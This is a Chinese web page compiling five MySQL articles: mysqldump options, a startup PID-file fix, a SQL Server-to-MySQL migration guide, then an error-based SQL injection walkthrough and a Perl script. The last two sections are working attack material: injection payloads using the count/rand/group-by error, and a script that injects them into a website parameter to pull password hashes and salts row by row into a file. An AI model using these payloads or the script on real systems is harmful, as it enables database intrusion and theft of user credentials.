一 : MySQL数据导出和导入工具:mysqldump
导出要用到MySQL的mysqldump工具,基本用法是:
shell>mysqldump[OPTIONS]database[tables] |
如果你不给定任何表,整个数据库将被导出。
通过执行mysqldump--help,你能得到你mysqldump的版本支持的选项表。
注意,如果你运行mysqldump没有--quick或--opt选项,mysqldump将在导出结果前装载整个结果集到内存中,如果你正在导出一个大的数据库,这将可能是一个问题。
mysqldump支持下列选项:
--add-locks |
在每个表导出之前增加LOCKTABLES并且之后UNLOCKTABLE。(为了使得更快地插入到MySQL)。
--add-drop-table |
在每个create语句之前增加一个droptable。
--allow-keywords |
允许创建是关键词的列名字。这由表名前缀于每个列名做到。
-c,--complete-insert |
使用完整的insert语句(用列名字)。
-C,--compress |
如果客户和服务器均支持压缩,压缩两者间所有的信息。
--delayed |
用INSERTDELAYED命令插入行。
-e,--extended-insert |
使用全新多行INSERT语法。(给出更紧缩并且更快的插入语句)
-#,--debug[=option_string] |
跟踪程序的使用(为了调试)。
--help |
显示一条帮助消息并且退出。
--fields-terminated-by=... --fields-enclosed-by=... --fields-optionally-enclosed-by=... --fields-escaped-by=... --fields-terminated-by=... |
这些选择与-T选择一起使用,并且有相应的LOADDATAINFILE子句相同的含义。
LOADDATAINFILE语法。
-F,--flush-logs |
在开始导出前,洗掉在MySQL服务器中的日志文件。
-f,--force, |
即使我们在一个表导出期间得到一个SQL错误,继续。
-h,--host=.. |
从命名的主机上的MySQL服务器导出数据。缺省主机是localhost。
-l,--lock-tables. |
-t,--no-create-info |
-d,--no-data |
--opt |
同--quick--add-drop-table--add-locks--extended-insert--lock-tables。
应该给你为读入一个MySQL服务器的尽可能最快的导出。
-pyour_pass,--password[=your_pass] |
-Pport_num,--port=port_num |
-q,--quick |
不缓冲查询,直接导出至stdout;使用mysql_use_result()做它。
-S/path/to/socket,--socket=/path/to/socket |
-T,--tab=path-to-some-directory |
-v,--verbose |
与服务器连接时,MySQL使用的用户名。缺省值是你的Unix登录名。
-Ovar=option,--set-variablevar=option设置一个变量的值。可能的变量被列在下面。
-v,--verbose |
冗长模式。打印出程序所做的更多的信息。
-V,--version |
打印版本信息并且退出。
-w,--where='where-condition' |
"--where=user='jimf'""-wuserid>1""-wuserid<1" |
mysqldump--optdatabase>backup-file.sql |
mysqldump--optdatabase|mysql--host=remote-host-Cdatabase |
shell>mysqladmincreatetarget_db_name shell>mysqltarget_db_name<backup-file.sql |
就是
shell>mysql库名<文件名 |
二 : MySQL数据库出现The server quit without updating PID file.
LNMP1.0可以在Linux系统下快速搭建PHP环境,以前操作其它服务器也用过LNMP环境,重未出现过类似错误,现将解决过程记录一下。[www.61k.com]
一、服务器环境
操作系统:CentOS-6.4
服务器环境:集成环境LNMP1.0
二、步骤重现
1、安装LNMP1.0,具体操作方法见这里,安装成功;
2、因个人需求,现将MySQL数据库存放在/data/mysql/var,修改/etc/my.cnf的datadir=/data/mysql/var,别忘了将/var目录的权限设置为chown -R mysql.mysql /data/mysql;
3、重启服务,/root/lnmp restart;
4、提示错误:Starting MySQL...The server quit without updating PID file [失败]/mysql/var/localhost.localdomain.pid).;
三、解决错误
1、根据提示可能是PID的错误,按照常规解决方法kill相关进程、清除selinux,问题仍然存在;
2、查看错误日志,/usr/local/mysql/var/localhost.localdomain.pid
140513 11:59:34 mysqld_safe Starting mysqld daemon with databases from /data/mysql/var /usr/local/mysql/bin/mysqld: Table 'mysql.plugin' doesn't exist 140513 11:59:34 [ERROR] Can't open the mysql.plugin table. Please run mysql_upgrade to create it. 140513 11:59:34 InnoDB: The InnoDB memory heap is disabled 140513 11:59:34 InnoDB: Mutexes and rw_locks use GCC atomic builtins 140513 11:59:34 InnoDB: Compressed tables use zlib 1.2.3 140513 11:59:34 InnoDB: Initializing buffer pool, size = 16.0M 140513 11:59:34 InnoDB: Completed initialization of buffer pool InnoDB: The first specified data file /data/mysql/var/ibdata1 did not exist: InnoDB: a new database to be created! 140513 11:59:34 InnoDB: Setting file /data/mysql/var/ibdata1 size to 10 MB InnoDB: Database physically writes the file full: wait... 140513 11:59:34 InnoDB: Log file /data/mysql/var/ib_logfile0 did not exist: new to be created InnoDB: Setting log file /data/mysql/var/ib_logfile0 size to 5 MB InnoDB: Database physically writes the file full: wait... 140513 11:59:34 InnoDB: Log file /data/mysql/var/ib_logfile1 did not exist: new to be created InnoDB: Setting log file /data/mysql/var/ib_logfile1 size to 5 MB InnoDB: Database physically writes the file full: wait... InnoDB: Doublewrite buffer not found: creating new InnoDB: Doublewrite buffer created InnoDB: 127 rollback segment(s) active. InnoDB: Creating foreign key constraint system tables InnoDB: Foreign key constraint system tables created 140513 11:59:35 InnoDB: Waiting for the background threads to start 140513 11:59:36 InnoDB: 1.1.8 started; log sequence number 0 140513 11:59:36 [Note] Server hostname (bind-address): '0.0.0.0'; port: 3306 140513 11:59:36 [Note] - '0.0.0.0' resolves to '0.0.0.0'; 140513 11:59:36 [Note] Server socket created on IP: '0.0.0.0'. 140513 11:59:36 [ERROR] Fatal error: Can't open and lock privilege tables: Table 'mysql.host' doesn't exist 140513 11:59:36 mysqld_safe mysqld from pid file /data/mysql/var/localhost.localdomain.pid ended
3、根据日志提示,可能是mysql.plugin数据表不存在,拷贝原数据库目录/usr/local/mysql/var/*到/data/mysql/var/,重启mysql服务/etc/init.d/mysql start,发现问题仍然存在;
4、返回数据库目录查看数据权限发现全是root.root,重新设置数据权限:chown mysql.mysql /data/mysql/,重启mysql服务/etc/init.d/mysql start,问题解决。;
四、总结
在配置Linux环境出现错误再所难免,MySQL故障的错误日志不是很清晰,需要经验和对错误日志分析把控。那啥,数据一定要作好日常备份,发生数据灾难时也有可以恢复的源。
扩展:updating pid file / quit without saving / kill quit pid
三 : 用SQLyog和NativeSQL将数据用sqlserver导入到mysql
公司的数据库要从sqlserver换到mysql,首先要选一台合适的服务器,给了一份用现在sqlserver中导出的全部数据,让我们用这些数据去测试。
刚开始我以为可以将sqlserver导出的.bak直接导入mysql,试了多次之后不行,参考了别的方法:.bk导入sqlserver,sqlserver导入mysql。
第一步,将.bak导入到sqlserver:
注意:这个地方选”还原数据库“而不是导入,而且这时不能建数据库。(www.61k.com]
目标数据库中输入要导入的数据库名,选择源设备,也就是.bak文件,确定就可以。如果表太多,会显示”查看对象资源管理全部信息“,这需要装个sp1,。<喎?http://www.2cto.com/kf/ware/vc/" target="_blank">vcD4KPHA+PGltZyBzcmM9"http://www.2cto.com/uploadfile/Collfiles/20150523/2015052309562965.png" alt="\">
数据导入sqlserver后就可以想办法导入mysql了,我试了两个工具,一个是SQLyog,一个是NativeSQL,这里都介绍一下。
SQLyog:
先建立一个数据库,右键选择导入外部数据。
选择”开始新工作“ -> 下一步。
选择 ”建立新的DSN“。
继续下一步。
这个地方选择 SQL Server 而不是mysql。
单击浏览,选择保存路径,保存文件后缀为dsn。下一步 -> 完成。
描述 随便写,由于我的sqlserver在本地,所以是localhost。下一步。
类似于sqlserver管理器的登录。
选择默认数据库。下一步 -> 完成
点击"测试数据源"看能不能连上。
连接成功。
返回到前面的界面了,这时再选择你刚才保存的那个dsn文件,下一步。
填写mysql的相关信息。下一步。
选择”从数据源拷贝表“,下一步。
下一步一直下去就可以了,可以看看某个表的结构。
NativeSQL也就大同小异。
选择导入向导。
选择ODBC,下一步。
选择for SQL Server,这个地方和SQLyog不同。
之后就和SQLyog大同小异了。
下一步一直点下去。
四 : 网站MYSQL数据库高级爆错注入原分析
这里主要用了mysql的一个BUG :http://bugs.mysql.com/bug.php?id=8652
SQL Code复制内容到剪贴板
于是便可以这样拿来爆错注入了。
select count(*),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>
尝试拿来实战
select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);
提示错误 选择的列应该为一个。那么。我们换一下
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>
1248 (42000): Every derived table must have its own alias
提示多表查询要有别名 那好办
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);
或者
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);
成功爆粗注入了.
作者: 小残 绳命不息 |折腾不止
五 : mysql注入导库脚本代码
#!/usr/bin/perl -w
#www.sh3llc0de.com
#转载须注明
#语法 自己改改
use strict;
use LWP::Simple;
use utf8;
$|++;
my $count = 1;
for ($count = 1; $count <= 600_000; $count++) {
print 'ID: ', $count, "n";
my $url = 'http://www.***.com/links.php?out=2 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x5e24,0x7c,password,0x3A,salt,0x245e) FROM `wowguru_db`.user LIMIT%20' . $count . ',1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1';
#print "$urln";
my $content = get($url);
while ($content =~ m|^$(.+?)$^|igs) {
open FILE, ">>", "password.txt" or die $!;
print "$1n";
print FILE "$1n";
close FILE;
}
}
61阅读| 精彩专题| 最新文章| 热门文章| 苏ICP备13036349号-1